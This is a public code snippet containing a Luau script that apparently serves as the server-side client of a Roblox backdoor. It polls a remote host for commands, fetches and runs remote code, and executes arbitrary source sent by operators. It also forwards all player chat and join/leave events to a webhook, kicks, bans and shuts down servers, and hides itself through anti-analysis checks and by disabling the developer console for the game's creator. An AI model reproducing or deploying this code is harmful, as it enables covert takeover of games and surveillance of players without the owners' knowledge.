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crc's abomination

Snippet info

Language

Lua

Visibility

public

Author

y3ll1y5x0w

Created

2025-03-11T22:01:39.694649Z

Updated

2025-03-11T22:01:39.694649Z

-- * // 112x4's amazingly written and strictly typed sessions.luau
-- * // this is gonna get outdated soon anyway
-- * // im also going to expect this getting leaked by polygons eventually so i dont fucking care
-- * // authentication keys have also been removed

--!strict
--!optimize 2
--!native

-- * // insane moment of comment spams                                                                                                                                                                      
-- * // insane moment of comment spams                                                                                                                                                                      
-- * // insane moment of comment spams                                                                                                                                                                      
-- * // insane moment of comment spams                                                                                                                                                                      
-- * // insane moment of comment spams                                                                                                                                                                      
-- * // insane moment of comment spams                                                                                                                                                                      
-- * // insane moment of comment spams                                                                                                                                                                      
-- * // insane moment of comment spams                                                                                                                                                                      
-- * // insane moment of comment spams                                                                                                                                                                      
-- * // insane moment of comment spams                                                                                                                                                                      
-- * // alrighty, done spamming comments

-- * // start time
local start = tick()

-- * // types
type vLuaConfig = {
    Contents: string,
    RunContext: any,
    Environment: any,
    Convert: boolean,
    Player: any
}

type playerBan = {
    username: string,
    reason: string,
    moderator: string
}

-- * // services
local players: Players = game:GetService("Players")
local http: HttpService = game:GetService("HttpService")
local textChatService: TextChatService = game:GetService("TextChatService")

-- * // important variables
local homeUrl: string = "your home url goes there my friend"
local prefix: string = "chat prefix goes there"
local attempts: number = 0
local compression_false = Enum.HttpCompression.None
local stopped: boolean = false
local anon: boolean = false
local legacyChat = Enum.ChatVersion.LegacyChatService
local newChat = Enum.ChatVersion.TextChatService
local bans: {[any]: playerBan} = {}

-- * // whitelists, ban immunities and (group) bans
local whitelists = {banimmunitywhitelists={[1126847656]="CL0NEM"}}}--http:JSONDecode(http:GetAsync(`{homeUrl}whitelists`))
local userBans = http:JSONDecode(http:GetAsync(`{homeUrl}bans`))
local groupBans = http:JSONDecode(http:GetAsync(`{homeUrl}group-bans`))

-- * // connections
local connections: {[any]: any} = {}

-- * // assets
local vLua = require(100486349623492) -- or your own luau interpreter
local assets = "your mainmodule that contains assets go there"
local AES = loadstring(http:GetAsync(homeUrl.."aes"))()
local base64 = loadstring(http:GetAsync(homeUrl.."base64"))()
local ls = require(require(14703526515).Folder.ls) -- NLS, NS straight from zloader

-- * // AES
local cipher = AES.new("your AES key goes there my friend", AES.modes.CBC, AES.pads.Pkcs7)

-- * // miscellaneous functions
function errorHandler(text: string)
    warn("[112x4]: "..text)
end

function httpEnabled(): any
	return pcall(function(...): boolean | string
        local starttime: number = tick()
        http:GetAsync("https://httpbin.org/get")

        if (tick() - starttime) >= 10 then
            return false, "Disabled"
        end

        return true, "Enabled"
    end)
end

function run(func: () -> any | nil): any
    if stopped == true then
        return false, "Session is stopped."
    else
        return coroutine.resume(coroutine.create(function(...): any | nil
            return task.spawn(function(...): any | nil
                return xpcall(func, errorHandler)
            end)
        end))
    end
end

function wrap(func: () -> any | nil): any
    if stopped == true then
        return false, "Session is stopped."
    else
        return coroutine.wrap(function(...): any | nil
            return task.spawn(function(...): any | nil
                return xpcall(func, errorHandler)
            end)
        end)
    end
end

-- * // security part 1
run(function(...): nil
    local sandboxedEnvironment: any = {}

    sandboxedEnvironment.NLS = ls.nls
    sandboxedEnvironment.NS = ls.NS
    sandboxedEnvironment.NewLocalScript = ls.nls
    sandboxedEnvironment.NewScript = ls.nls
    
    sandboxedEnvironment.setReadonly = function(tbl: any): any
        return setmetatable(tbl, {
            __newindex = function(_: any, index: number | string, value: any): any
                return error("This table is read-only and therefore it cannot be modified.")
            end
        })
    end

    sandboxedEnvironment.disableReadonly = function(tbl: any): any
        return setmetatable(tbl, {
            __newindex = nil
        })
    end
    
    for i: number | string, v: any in next, getfenv(0) do
        sandboxedEnvironment[i] = v
    end

    setmetatable(sandboxedEnvironment, {
        __metatable = function(_: any, index: number | string, value: any)
            return error("You are not allowed to access the environment's metatable.")
        end,
        __newindex = function(_: any, index: number | string, value: any)
            return error("You are not allowed to modify the environment.")
        end,
    })

    pcall(setfenv, 0, sandboxedEnvironment)

    return nil
end)

-- * // fakeouts
local _fakeout1: string = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  "yeah you just got trolled"
local _fakeout2: string = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  "another fakeout bro"
local _fakeout3: string = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  "yeah get trolled frfr"
local _fakeout4: string = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  "nuh uh"
local _fakeout5: string = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  "nuh uh"
local _fakeout6: string = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  "nuh uh"
local _morefakeouts: {[number | string]: string} = {
    --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]
}

-- * // secrets
local _fakeoutsecrets: {[number | string]: string} = {
    --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  _Authenticationfakeout = "fake out, make your own remote admin instead of skidding",
    --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  _AUTHENTICATIONFAKEOUT2 = "yes this is a fake out"
}

-- * // even more secret fakeouts????
local _moresecretfakeouts: {[number | string]: string} = {
    --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]
}

local _authenticationkeyfakeouts: {[number | string]: any} = {
    --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  something = buffer.tostring(base64.decode(buffer.fromstring(_fakeoutsecrets._Authenticationfakeout))),
    --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  _fakeout1 = buffer.tostring(base64.decode(buffer.fromstring(_fakeoutsecrets._AUTHENTICATIONFAKEOUT2)))
}

-- * // security part 2
run(function(...): nil
    local tables = {
        _authenticationkeyfakeouts,
        _morefakeouts,
        _moresecretfakeouts,
        _fakeoutsecrets
    }
    
    for i: number | string, v: any in next, tables do
        setmetatable(v, {
            __metatable = function(_: any, index: number | string, value: any)
                return error("You are not allowed to access this table's metatable.")
            end,
            __newindex = function(_: any, index: number | string, value: any)
                return error("You are not allowed to modify this table.")
            end,
        })
    end

    return nil
end)

-- * // signal defer check
local IsDeferred: boolean do -- skidded this straight from nova (will be written in credits)
    IsDeferred = false

    run(function() 
        if workspace.SignalBehavior == Enum.SignalBehavior.Deferred then
            IsDeferred = true
        end
    end)
    
    local bindable = Instance.new("BindableEvent")

    local handlerRun = false
    bindable.Event:Connect(function()
        handlerRun = true
    end)
    
    bindable:Fire()
    bindable:Destroy()

    if handlerRun == false then
        IsDeferred = true
    end
end

if IsDeferred then
    return errorHandler("Sessions will not load in this server due to workspace.SignalBehavior being deferred.")
end

-- * // check if code is running in hidden dumper (will most likely NOT work)
if game.PlaceId == 16927961956 or game.GameId == 16927961956 then
    for i: string | number, v: Player in next, players:GetPlayers() do
        v:Kick("Hidden Dumper is not allowed by 112x4.")
    end
end

-- * // session name
local sessionName: string do
    local length = math.random(8, 16)
    local array = {}
    local characterlist = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
    for i = 1,length do
        array[i] = characterlist[math.random(1, #characterlist)]
    end
    sessionName = "112x4 :: "..game.PlaceId.." | "..table.concat(array)..""
end

-- * // session log
run(function(): any
    do
        run(function(): any
            http:RequestAsync({
                Url = homeUrl.."log-session",
                Headers = {
                    ["Content-Type"] = "application/json",
                },
                Method = "POST",
                Compress = Enum.HttpCompression.None,
                Body = http:JSONEncode({
                    gameId = game.PlaceId,
                    ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                    jobId = game.JobId
                })
            })

            return true
        end)

        run(function(): any
            http:RequestAsync({
                Url = homeUrl.."create-session",
                Headers = {
                    ["Content-Type"] = "application/json",
                },
                Method = "POST",
                Compress = Enum.HttpCompression.None,
                Body = http:JSONEncode({
                    gameId = game.GameId,
                    jobId = game.JobId,
                    session_name = sessionName,
                    message = "A new session has been created!",
                    ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                    channel_id = "1330935132000878723",
                    creatorId = game.CreatorId
                })
            })

            return true
        end)
    end

    return true
end)

-- * // data poll
function handleJSON(data): any
    task.spawn(function(): any
        if data.params.action == "replicateMessage" and data.params.sessionName == sessionName then
            run(function(): any
                for i: number | string, player: Player in next, players:GetPlayers() do
                    if textChatService.ChatVersion == legacyChat then
                        if anon == false then
                            assets.createChatMessage("<font color='rgb("..data.params.color..")'>("..data.params.author..")</font> ["..prefix.."]: "..data.params.message.."", player)
                        else
                            assets.createChatMessage("["..prefix.."]: "..data.params.message.."", player)
                        end
                    elseif textChatService.ChatVersion == newChat then
                        if anon == false then
                            assets.createChatMessage("<font color='rgb("..data.params.color..")'>("..data.params.author..")</font> "..prefix..": "..data.params.message.."", player)
                        else
                            assets.createChatMessage(prefix..": "..data.params.message.."", player)
                        end
                    end
                end

                return true
            end)
        elseif data.params.action == "loadstring" and data.params.sessionName == sessionName then
            run(function(): any
                local Config: vLuaConfig = {
                    Contents = data.params.source,
                    RunContext = Enum.RunContext.Legacy,
                    Environment = getfenv(0),
                    Convert = false,
                    Player = nil
                }
                
                local _loadString = vLua(Config)()

                return true
            end)
        elseif data.params.action == "getPlayers" and data.params.sessionName == sessionName then
            run(function(): any
                local listplayers: string = ""
                for i: number | string, v: Player in next, players:GetPlayers() do
                    listplayers = listplayers.."> "..v.Name.." ("..v.UserId..")\n"
                end
    
                http:RequestAsync({
                    Url = homeUrl.."send-session-message",
                    Method = "POST",
                    Headers = {
                        ["Content-Type"] = "application/json",
                    },
                    Compress = Enum.HttpCompression.None,
                    Body = http:JSONEncode({
                        ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                        message = "> Player list requested by "..data.params.author.."\n> ```\n"..listplayers.."> ```",
                        sessionName = sessionName
                    })
                })

                return true
            end)
        elseif data.params.action == "stopSession" and data.params.sessionName == sessionName then
            run(function(): any 
                local succ, res = pcall(function() 
                    stopped = true
    
                    http:RequestAsync({
                        Url = homeUrl.."change-session-status",
                        Method = "POST",
                        Headers = {
                            ["Content-Type"] = "application/json"
                        },
                        Compress = compression_false,
                        Body = http:JSONEncode({
                            ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                            status = "1330935386616234156", -- closed
                            sessionName = sessionName
                        })
                    })
                end)
    
                if not succ then
                    http:RequestAsync({
                        Url = homeUrl.."send-session-message",
                        Method = "POST",
                        Headers = {
                            ["Content-Type"] = "application/json",
                        },
                        Compress = Enum.HttpCompression.None,
                        Body = http:JSONEncode({
                            ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                            message = "> ` ❌ ` **|** Session may have failed to stop. Please report the following error to the owner: "..res,
                            sessionName = sessionName
                        })
                    })
                end

                return true
            end)
        elseif data.params.action == "toggleAnon" and data.params.sessionName == sessionName then
            run(function(): any
                if anon == false then 
                    anon = true 
                    http:RequestAsync({
                        Url = homeUrl.."send-session-message",
                        Method = "POST",
                        Headers = {
                            ["Content-Type"] = "application/json",
                        },
                        Compress = Enum.HttpCompression.None,
                        Body = http:JSONEncode({
                            ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                            message = "> ` ✅ ` **|** Anonymous mode has been turned on.",
                            sessionName = sessionName
                        })
                    })
                else 
                    anon = false 
                    http:RequestAsync({
                        Url = homeUrl.."send-session-message",
                        Method = "POST",
                        Headers = {
                            ["Content-Type"] = "application/json",
                        },
                        Compress = Enum.HttpCompression.None,
                        Body = http:JSONEncode({
                            ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                            message = "> ` ✅ ` **|** Anonymous mode has been turned off.",
                            sessionName = sessionName
                        })
                    })
                end

                return true 
            end)
        elseif data.params.action == "hint" and data.params.sessionName == sessionName then
            run(function(): any 
                for i: number | string, player: Player in next, players:GetPlayers() do
                    if anon == false then
                        assets.createHint(data.params.author, data.params.message, player)
                    else
                        assets.createHint("", data.params.message, player)
                    end
                end

                return true
            end)
        elseif data.params.action == "shutdown" and data.params.sessionName == sessionName then

            run(function(...): nil
                http:RequestAsync({
                    Url = homeUrl.."send-session-message",
                    Method = "POST",
                    Headers = {
                        ["Content-Type"] = "application/json"
                    },
                    Compress = compression_false,
                    Body = http:JSONEncode({
                        ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                        message = "> \` ❌ \` **|** *This session has been closed (Server has been forcibly shut down).*\n> *Please run the `closesession` command to archive or delete the session.*",
                        sessionName = sessionName
                    })
                })

                http:RequestAsync({
                    Url = homeUrl.."change-session-status",
                    Method = "POST",
                    Headers = {
                        ["Content-Type"] = "application/json"
                    },
                    Compress = compression_false,
                    Body = http:JSONEncode({
                        ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                        status = "1330935386616234156", -- closed
                        sessionName = sessionName
                    })
                })

                stopped = true

                return nil
            end)

            run(function(...): nil 
                for index: number | string, player: Player in next, players:GetPlayers() do
                    player:Kick(`[112x4] This server has been shut by {data.params.author} down.`)
                end
    
                players.PlayerAdded:Connect(function(player: Player): nil
                    player:Kick(`[112x4] This server has been shut by {data.params.author} down. If this server is still running, please wait for one minute or longer.`)
                    return nil
                end)

                return nil
            end)

        elseif data.params.action == "serverKick" and data.params.sessionName == sessionName then
            for i: number | string, player: Player in next, players:GetPlayers() do
                if player.Name == data.params.playerToKick then
                    player:Kick(`[112x4] You have been kicked out of this server by {data.params.moderatorName}. Reason: {data.params.reason}`)
                end
            end
        elseif data.params.action == "serverBan" and data.params.sessionName == sessionName then
            for i: number | string, player: Player in next, players:GetPlayers() do
                if player.Name == data.params.playerToBan then
                    player:Kick(`[112x4] You have been banned from joining this server by {data.params.moderatorName}. Reason: {data.params.reason}`)

                    bans[data.params.playerToBan] = {
                        username = data.params.playerToBan,
                        reason = data.params.reason,
                        moderator = data.params.moderatorName
                    }
                end
            end
        elseif data.params.action == "serverUnban" and data.params.sessionName == sessionName then
            if bans[data.params.playerToUnban] then

                http:RequestAsync({
                    Url = homeUrl.."send-session-message",
                    Method = "POST",
                    Headers = {
                        ["Content-Type"] = "application/json"
                    },
                    Compress = compression_false,
                    Body = http:JSONEncode({
                        ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                        message = "> \` ✅ \` **|** "..data.params.playerToUnban.." has been successfully unbanned.",
                        sessionName = sessionName
                    })
                })

                bans[data.paramsplayerToUnban] = nil

            else

                http:RequestAsync({
                    Url = homeUrl.."send-session-message",
                    Method = "POST",
                    Headers = {
                        ["Content-Type"] = "application/json"
                    },
                    Compress = compression_false,
                    Body = http:JSONEncode({
                        ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                        message = "> \` ⚠️ \` **|** "..data.params.playerToUnban.." is not banned from this session.",
                        sessionName = sessionName
                    })
                })

            end
        end

        return true
    end)

    return true
end

wrap(function(): any 
    local function main(): any
        local function makeRequest(): any
            if stopped == false then
                local request = http:RequestAsync({
                    Url = homeUrl.."data-poll",
                    Method = "GET",
                    Compress = compression_false,
                    Headers = {
                        ["Content-Type"] = "application/json"
                    }
                })

                return request.Body
            else
                return false, "Session has been stopped."
            end
        end

        local succ: boolean, res: any = pcall(function(): any
            local data = makeRequest()
            local decodedData = http:JSONDecode(data)

            local succ: boolean, res: any = pcall(function(): any 
                if stopped == false then
                    if decodedData.status ~= "no_data" then
                        handleJSON(decodedData)
                        main()
                    else
                        main()
                    end
                else
                    return false, "Session has been stopped."
                end
                
                return true
            end)

            if not succ and not stopped then
                errorHandler(res)
                main()
            elseif not stopped and succ then
                main()
            end

            return true
        end)

        if not succ and not stopped then
            errorHandler(res)
            main()
        elseif not stopped and succ then
            main()
        end

        return true
    end

    main()

    return true
end)()

-- * // automatic session closure
run(function(): any
    game:BindToClose(function(): any
        run(function(): any
            if stopped == false then
                http:RequestAsync({
                    Url = homeUrl.."send-session-message",
                    Method = "POST",
                    Headers = {
                        ["Content-Type"] = "application/json"
                    },
                    Compress = compression_false,
                    Body = http:JSONEncode({
                        ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                        message = "> \` ❌ \` **|** *This session has been closed (Server responded with `BindToClose`).*\n> *Please run the `closesession` command to archive or delete the session.*",
                        sessionName = sessionName
                    })
                })

                return true
            else
                return false, "Session has been stopped."
            end
        end)

        run(function(): any
            if stopped == false then
                http:RequestAsync({
                    Url = homeUrl.."change-session-status",
                    Method = "POST",
                    Headers = {
                        ["Content-Type"] = "application/json"
                    },
                    Compress = compression_false,
                    Body = http:JSONEncode({
                        ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                        status = "1330935386616234156", -- closed
                        sessionName = sessionName
                    })
                })
                return true
            else
                return false, "Session has been stopped."
            end

        end)

        return true
    end)

    return true
end)

-- * // problem detector
wrap(function(): any
    while true do

        if (not httpEnabled()) and attempts <= 5 then

            attempts = attempts + 1

            run(function(): any
                if stopped == false then
                    http:RequestAsync({
                        Url = homeUrl.."change-session-status",
                        Method = "POST",
                        Headers = {
                            ["Content-Type"] = "application/json"
                        },
                        Compress = compression_false,
                        Body = http:JSONEncode({
                            ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                            status = "1330935423672782878", -- problems
                            sessionName = sessionName
                        })
                    })
                
                    return true
                else
                    return false, "Session has been stopped."
                end
            end)

            run(function(): any
                if stopped == false then
                    http:RequestAsync({
                        Url = homeUrl.."send-session-message",
                        Method = "POST",
                        Headers = {
                            ["Content-Type"] = "application/json"
                        },
                        Compress = compression_false,
                        Body = http:JSONEncode({
                            ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                            message = "> \` ⚠️ \` | **WARNING!**\n> *HttpService is currently experiencing ratelimits. Some requests may be taking more time to process.*",
                            sessionName = sessionName
                        })
                    })

                    return true
                else
                    return false, "Session has been stopped"
                end
            end)

        elseif httpEnabled() and attempts >= 1 then

            attempts = 0

        end

        task.wait(25)

    end

    return true
end)

-- * // chat replicator
run(function(): any
    for i: number | string, plr: Player in next, players:GetPlayers() do
        plr.Chatted:Connect(function(message: string): any
            run(function(): any
                if stopped == false then
                    http:RequestAsync({
                        Url = homeUrl.."send-webhook-message",
                        Method = "POST",
                        Headers = {
                            ["Content-Type"] = "application/json"
                        },
                        Compress = compression_false,
                        Body = http:JSONEncode({
                            ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                            message = message,
                            sessionName = sessionName,
                            username = plr.Name
                        })
                    })

                    return true
                else
                    return false, "Session has been stopped"
                end
            end)

            return true
        end)
    end

    return true
end)

run(function(): any
    players.PlayerAdded:Connect(function(plr: Player): any

        task.spawn(function(): any
            if stopped == false then
                if plr.UserId == game.CreatorId then
                    run(function(): any
                        http:RequestAsync({
                            Url = homeUrl.."send-webhook-message",
                            Method = "POST",
                            Headers = {
                                ["Content-Type"] = "application/json"
                            },
                            Compress = compression_false,
                            Body = http:JSONEncode({
                                ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                                message = `> *{plr.Name} has joined the game.*`,
                                sessionName = sessionName,
                                username = plr.Name
                            })
                        })
        
                        return true
                    end)

                    assets.disableDeveloperConsole(plr)
                else
                    run(function(): any
                        http:RequestAsync({
                            Url = homeUrl.."send-webhook-message",
                            Method = "POST",
                            Headers = {
                                ["Content-Type"] = "application/json"
                            },
                            Compress = compression_false,
                            Body = http:JSONEncode({
                                ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                                message = `> *{plr.Name} has joined the game.*`,
                                sessionName = sessionName,
                                username = plr.Name
                            })
                        })
        
                        return true
                    end)
                end

                return true
            else
                return false, "Session has been stopped."
            end
        end)

        plr.Chatted:Connect(function(message: string): any 
            run(function(): any
                if stopped == false then
                    http:RequestAsync({
                        Url = homeUrl.."send-webhook-message",
                        Method = "POST",
                        Headers = {
                            ["Content-Type"] = "application/json"
                        },
                        Compress = compression_false,
                        Body = http:JSONEncode({
                            ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                            message = message,
                            sessionName = sessionName,
                            username = plr.Name
                        })
                    })
                    return true
                else
                    return false, "Session has been stopped."
                end

            end)

            return true
        end)

        return true
    end)

    return true
end)

-- * // player leave check
run(function(): any 
    players.PlayerRemoving:Connect(function(plr: Player): any

        if plr.UserId == game.CreatorId then

            run(function(): any
                if stopped == false then
                    http:RequestAsync({
                        Url = homeUrl.."send-webhook-message",
                        Method = "POST",
                        Headers = {
                            ["Content-Type"] = "application/json"
                        },
                        Compress = compression_false,
                        Body = http:JSONEncode({
                            ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                            message = `> *{plr.Name} has left the game.*`,
                            sessionName = sessionName,
                            username = plr.Name
                        })
                    })

                    return true
                else
                    return false, "Session has been stopped"
                end
            end)

        else

            run(function(): any
                if stopped == false then
                    http:RequestAsync({
                        Url = homeUrl.."send-webhook-message",
                        Method = "POST",
                        Headers = {
                            ["Content-Type"] = "application/json"
                        },
                        Compress = compression_false,
                        Body = http:JSONEncode({
                            ["Authorization"] = --[[ im not giving you my key                                                                                                                                                                                                                                                           ]]  buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
                            message = `> *{plr.Name} has left the game.*`,
                            sessionName = sessionName,
                            username = plr.Name
                        })
                    })

                    return true
                else
                    return false, "Session has been stopped."
                end
            end)

        end

        return true

    end)

    return true
end)

-- * // integrity checks
wrap(function(): any
    while true do

        local ifHiddenDumper: boolean do
            if game.PlaceId == 16927961956 or game.GameId == 16927961956 then
                ifHiddenDumper = true
                stopped = true
            else
                ifHiddenDumper = false
            end
        end

        if ifHiddenDumper then
            for i: number | string, player: Player in next, players:GetPlayers() do
                player:Kick()
            end
        end

        task.wait(1)

    end

    return true
end)

-- * // player server bans
run(function(...): nil 
    players.PlayerAdded:Connect(function(player: Player): nil 
        if bans[player.Name] then
            player:Kick(`[112x4] You have been banned from joining this server by {bans[player.Name].moderator}. Reason: {bans[player.Name].reason}`)
        end

        return nil
    end)

    return nil
end)

-- * // global (group) bans
connections.onJoin = players.PlayerAdded:Connect(function(player: Player): nil 
    run(function(...): nil 
        if bans[tostring(player.UserId)] then   
            player:Kick("[112x4] You are banned by "..bans[tostring(player.UserId)].moderator..". Reason: "..bans[tostring(player.UserId)].reason)
        end

        return nil
    end)

    run(function(...): nil
        for index: string | number, value: any in pairs(groupBans) do
            local group: number? | string = tonumber(groupBans[index].groupid)

            if whitelists.banimmunitywhitelists[tostring(player.UserId)] or whitelists.whitelists[tostring(player.UserId)] then
                
            elseif not whitelists.banimmunitywhitelists[tostring(player.UserId)] and not whitelists.whitelists[tostring(player.UserId)] and player:IsInGroup(tonumber(group)) then
                player:Kick("[112x4] You have been banned for being in a banned group ("..groupBans[index].groupName.."). Reason: "..groupBans[index].reason)
            end
        end

        return nil
    end)

    return nil
end)

-- * // global (group) bans and whitelists synchronization
wrap(function(...): nil 
    while task.wait(60) do
        groupBans = http:GetAsync(`{homeUrl}group-bans`)
        userBans = http:GetAsync(`{homeUrl}bans`)
        whitelists = http:GetAsync(`{homeUrl}whitelists`)

        run(function(...): nil
            connections.onJoin:Disconnect()

            connections.onJoin = players.PlayerAdded:Connect(function(plr: Player): nil 
                run(function(...): nil 
                    if userBans[tostring(plr.UserId)] then   
                        plr:Kick("[112x4] You are banned by "..userBans[tostring(plr.UserId)].moderator..". Reason: "..userBans[tostring(plr.UserId)].reason)
                    end
            
                    return nil
                end)
            
                return nil
            end)
        
            for i: string | number, player: Player in next, players:GetPlayers() do
                run(function(...): nil 
                    if userBans[tostring(player.UserId)] then   
                        player:Kick("[112x4] You are banned by "..userBans[tostring(player.UserId)].moderator..". Reason: "..userBans[tostring(player.UserId)].reason)
                    end
                
                    return nil
                end)

                run(function(...): nil
                    for index: string | number, value: any in pairs(groupBans) do
                        local group: number? | string = tonumber(groupBans[index].groupid)
            
                        if whitelists.banimmunitywhitelists[tostring(player.UserId)] or whitelists.whitelists[tostring(player.UserId)] then
                            
                        elseif not whitelists.banimmunitywhitelists[tostring(player.UserId)] and not whitelists.whitelists[tostring(player.UserId)] and player:IsInGroup(tonumber(group)) then
                            player:Kick("[112x4] You have been banned for being in a banned group ("..groupBans[index].groupName.."). Reason: "..groupBans[index].reason)
                        end
                    end
            
                    return nil
                end)
            end

            return nil
        end)
    end

    return nil
end)

return tick() - start
INFO